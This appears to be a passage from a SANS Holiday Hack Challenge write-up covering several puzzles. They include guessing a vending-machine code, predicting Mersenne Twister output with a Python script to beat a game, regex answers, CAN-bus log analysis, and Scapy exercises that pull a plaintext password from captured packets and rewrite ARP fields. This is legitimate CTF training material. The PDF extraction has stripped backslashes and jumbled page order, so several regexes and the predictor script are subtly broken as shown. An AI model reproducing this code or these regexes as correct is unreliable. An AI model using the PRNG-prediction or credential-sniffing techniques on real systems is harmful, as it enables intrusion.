  • 44. SANS HHC: Challenge and Terminal Assessment Report This is exciting! most of the characters match, so we have all but two characters that need to be found. Based on common password themes, lets try some different combinations to see if we can easily guess the password at this point without a brute force: Ah ha! The password is CandyCane1. Lets execute vending-machines and complete this last challenge. With that, we complete the entire challenge and earn the third and final achievement, Speaker Turn on Vending Machines. 3.8 Snowball Fight This challenge involves beating a Battleship style game where the fort locations of the computer are picked based on a number that represents the player id. There are a number of game modes, with the hard mode not letting the player set their own player id and impossible not showing the id. Based on the content of the “Random Facts About Mersenne Twisters” talk, we are probably working with a Mersenne Twister PRNG and need to figure out the actual player ID for the impossible levels (it probably changes for each game as well). We are also given a Python program that can predict the next random number if we have 624 of the previously generated numbers in chronological order. We also have the following hints: • PRNG Seeding – While system time is probably most common, developers have the option to seed pseudo-random number generators with other values. • Extra Instances - Need extra Snowball Game instances? Pop them up in a new tab from https://snowball2.kringlecastle.com. • Mersenne Twister – Python uses the venerable Mersenne Twister algorithm to generate PRNG values after seed. Given enough data, an attacker might predict upcoming values. • Twisted Talk – Tom Liston is giving two talks at once – amazing! One is about the Mersenne Twister After examining the various game modes and the source code for each game, the following comments are discovered: Candycanes - "LVEdQEpBw5" - Candy?ane? CandyCane5 - "LVEdQPpBwT" - CandyCane? CandyCaned - "LVEdQPpBwR" - CandyCane? CandyCane? - "LVEdQPpBw?" - CandyCane? CandyCanez - "LVEdQPpBwa" - CandyCane? CandyCaneZ - "LVEdQPpBwt" - CandyCane? CandyCaneS - "LVEdQPpBwg" - CandyCane? CandyCane1 - "LVEdQPpBwr" - CandyCane1 Caelf@fdc4c90029a1 ~ $ ./vending-machines The elves are hungry! If the door's still closed or the lights are still off, you know because you can hear them complaining about the turned-off vending machines! You can probably make some friends if you can get them back on... Loading configuration from: /home/elf/vending-machines.json I wonder what would happen if it couldn't find its config file? Maybe that's something you could figure out in the lab... Welcome, elf-maintenance! It looks like you want to turn the vending machines back on? Please enter the vending-machine-back-on code > CandyCane1 Checking...... Vending machines enabled!!
  • 45. SANS HHC: Challenge and Terminal Assessment Report Look at that, it is 624 random numbers in the order they were generated. We can copy this comment out and use the provided Python code to predict the next number, which turns out to be the number used by the impossible mode to place snow forts. By pasting the HTML comments into a file called seeds.txt and reusing the provided code we can make a prediction. The code to do this is shown below: If this works correctly we should be able to use the predicted number as the Player ID in easy mode and determine the fort locations so we can hit each one on the first try in impossible mode. Below are the results. This works and we are able to find the snow forts on easy mode and then hit the snow forts on impossible mode without a single miss, which is required to beat impossible. #!/usr/bin/python import re import mt19937 f = open("seeds.txt","r") lines = f.read() f.close() arr = [] lines = lines.split("n") for line in lines: if re.search("d+s-",line): arr.append(int(line.strip().split(' ')[0])) mt = mt19937.mt19937(0) for i in range(0,len(arr)): mt.MT[i] = mt19937.untemper(arr[i]) print(mt.extract_number()) ... $ ./predict.py 578410427
  • 46. SANS HHC: Challenge and Terminal Assessment Report Beating the impossible mode while framed in the Kringlecon application completes the challenge and earns you the Snowball Game achievement.
  • 47. SANS HHC: Challenge and Terminal Assessment Report 3.9 Sort-O-Matic This terminal challenge requires you to write regular expressions that match the stated requirements. The following hints are given for this challenge: • Regex Practice – Here’s a place to try out your JS Regex expressions: https://regex101.com/ • JavaScript Regex Cheat Sheet – Handy quick reference for JS regular expression construction: https://www.debuggex.com/cheatsheet/regex/javascript Below is the list of requirements and regular expressions written to complete this challenge: Creating and inputting regular expression in the UI and having all pass the required tests earns us the Sort-O- Matic achievement. 1. Matches at least one digit (Create a regular expression that will only match any string containing at least one digit.) d+ 2. Matches 3 alpha a-z characters ignoring case (Create a regular expression that will only match only alpha characters A-Z of at least 3 characters in length or greater while ignoring case.) ^[a-zA-Z]{3,}$ 3. Matches 2 chars of lowercase a-z or numbers (Create a regular expression that will only match at least two consecutive lowercase a-z or numeric characters.) [a-z0-9]{2,} 4. Matches any 2 chars not uppercase A-L or 1-5 (Create a regular expression that will only match any two characters that are NOT uppercase A through L and NOT numbers 1 through 5.) [^A-Z1-5]{2} 5. Matches three or more digits only (Create a regular expression that only matches if the entire string is composed of entirely digits and is at least 3 characters in length.) ^d{3,}$ 6. Matches multiple hour:minute:second time formats only (Create a regular expression that only matches if the entire string is a valid Hour, Minute and Seconds time format similar to the following: ... Use anchors or boundary markers to avoid matching other surrounding strings.) ^[0-2]{0,1}d:[0-5]d:[0-5]d$ 7. Matches MAC address format only while ignoring case (Create a regular expression that only matches if the entire string is a MAC address. For example: ... Use anchors or boundary markers to avoid matching other surrounding strings.) ^[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A- Fa-f]{2}$ 8. Matches multiple day, month, and year date formats only (Create a regular expression that only matches one of the three following day, month, and four digit year formats: ... Use anchors or boundary markers to avoid matching other surrounding strings.) ^[0-1]d[/.-]([0-2]d|[3][0-1])[/.-]d{4}$
  • 48. SANS HHC: Challenge and Terminal Assessment Report 3.10 CAN-Bus Investigation Upon being presented with the terminal we are given the following instructions: After examining the ICSim program and packet capture you will find that the number that distinctly identifies the type of message being sent is that which directly precedes the # in the third column of a CAN-Bus dump. We know we are looking for two lock and one unlock event. If they both use the same id we should have only three entries of a particular id. We can use Linux tools to examine the file and count the number of events by id as follows: Looking at this information, we can see that the ID of 19B with an additional mask of 0000F000000 is the unlock event (should be the only unique event). We can then submit the number 122520 to the ./runtoanswer program. After running the program with the correct answer, we now have earned the CAN-Bus investigation achievement. 3.11 Scapy Prepper This terminal challege, like the CAN-Bus challenge, is located on the roof. This challenge is similar to the Linux Primer challenge in that it functions more as a tutorial than a true technical or security related puzzle. It walks you through the Python Scapy library for sending, sniffing, and manipulating network packets. Answers to each of the questions is found below: Type "yes" to begin. Welcome to the CAN bus terminal challenge! In your home folder, there's a CAN bus capture from Santa's sleigh. Some of the data has been cleaned up, so don't worry - it isn't too noisy. What you will see is a record of the engine idling up and down. Also in the data are a LOCK signal, an UNLOCK signal, and one more LOCK. Can you find the UNLOCK? We'd like to encode another key mechanism. Find the decimal portion of the timestamp of the UNLOCK code in candump.log and submit it to ./runtoanswer! (e.g., if the timestamp is 123456.112233, please submit 112233) elf@2de2c84f2f05:~$ head -2 candump.log (1608926660.800530) vcan0 244#0000000116 (1608926660.812774) vcan0 244#00000001D3 elf@2de2c84f2f05:~$ cut -f 3 -d ' ' candump.log | cut -f 1 -d '#' | sort | uniq -c 35 188 3 19B 1331 244 elf@2de2c84f2f05:~$ grep 19B# candump.log (1608926664.626448) vcan0 19B#000000000000 (1608926671.122520) vcan0 19B#00000F000000 (1608926674.092148) vcan0 19B#000000000000 elf@2de2c84f2f05:~$ elf@7eb6c0e8f43d:~$ ./runtoanswer 122520 Your answer: 122520 Checking.... Your answer is correct! Yes >>> task.get()
  • 49. SANS HHC: Challenge and Terminal Assessment Report 1. Start by running the task.submit() function passing in a string argument of 'start'. 2. Submit the class object of the scapy module that sends packets at layer 3 of the OSI model. 3. Submit the class object of the scapy module that sniffs network packets and returns those packets in a list. 4. Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named "pkt": 1. pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20)) 2. pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20)) 3. pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20)) 5. Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets. 6. The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS: 1. UDP_PACKETS.print() 2. UDP_PACKETS.show() 3. UDP_PACKETS.list() 7. Submit only the first packet found in UDP_PACKETS 7. Submit only the entire TCP layer of the second packet in TCP_PACKETS. 8. Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet. 9. Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet list TCP_PACKETS. >>> task.submit(‘start’) >>> task.submit(send) >>> task.submit(sniff) >>> task.submit(1) >>> task.submit(rdpcap) >>> task.submit(2) >>> task.submit(TCP_PACKETS[1][TCP]) >>> task.submit(UDP_PACKETS[0]) >>> UDP_PACKETS[0][IP].src=”127.0.0.1” >>> task.submit(UDP_PACKETS)
  • 50. SANS HHC: Challenge and Terminal Assessment Report 10. Submit the number of the choice below that would correctly create a ICMP echo request pack et with a destination IP of 127.0.0.1 stored in the variable named "pkt" 1. pkt = Ether(src='127.0.0.1')/ICMP(type="echo-request") 2. pkt = IP(src='127.0.0.1')/ICMP(type="echo-reply") 3. pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request")the ICMP chksum value from the second packet in the ICMP_PACKETS list. 11. Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified) 12. Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of "elveslove.santa". (all other packet attributes can be unspecified) 13. The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection. Upon successfully answering all questions, you are awarded the Scapy Practice achievement. >>> for I in range(3,len(TCP_PACKETS)): ... TCP_PACKETS[i][RAW].show() ###[ Raw ]### load = 'PASS echorn' ... >>> task.submit(3) >>> task.submit(IP(dst='127.127.127.127')/UDP(dport=5000)) >>> task.submit(IP(dst="127.2.3.4")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname='elveslove.santa'))) >>> ARP_PACKETS[1] <Ether dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=00:13:46:0b:22:ba psrc=192.168.0.1 hwdst=00:16:ce:6e:8b:24 pdst=192.168.0.114 |<Padding load='xc0xa8x00r' |>>> >>> ARP_PACKETS[1][ARP].hwsrc=ARP_PACKETS[1][Ether].src >>> ARP_PACKETS[1][ARP].hwdst=ARP_PACKETS[1][Ether].dst >>> ARP_PACKETS[1][ARP].op=2 >>> task.submit(ARP_PACKETS)